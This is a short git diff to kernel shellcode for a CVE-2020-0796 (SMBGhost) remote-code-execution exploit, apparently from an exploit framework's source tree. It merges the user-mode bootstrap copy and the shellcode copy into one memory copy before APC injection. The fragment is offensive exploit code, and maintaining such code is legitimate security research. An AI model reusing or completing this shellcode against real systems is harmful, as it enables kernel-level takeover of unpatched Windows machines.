diff --git a/external/source/exploits/CVE-2020-0796/RCE/kernel_shellcode.asm b/external/source/exploits/CVE-2020-0796/RCE/kernel_shellcode.asm index ab77b01def..3760b809a0 100644 --- a/external/source/exploits/CVE-2020-0796/RCE/kernel_shellcode.asm +++ b/external/source/exploits/CVE-2020-0796/RCE/kernel_shellcode.asm @@ -288,16 +288,11 @@ _alloc_mem: call _call_nt_func add rsp, 0x30 -_copy_user_shellcode_bootstrap: +_copy_user_bootstrap_and_shellcode: lea rdi, [rip-$_+_data_addr] mov rdi, [rdi + USER_SHELLCODE_SIZE + OFFSET_SC_BASE_ADDR] lea rsi, [rip-$_+_user_shellcode_bootstrap] - mov ecx, 0x1d - rep movsb - -_copy_user_shellcode: - lea rsi, [rip-$_+_user_shellcode] - mov ecx, USER_SHELLCODE_SIZE + mov ecx, 0x1d + USER_SHELLCODE_SIZE rep movsb _init_and_insert_apc: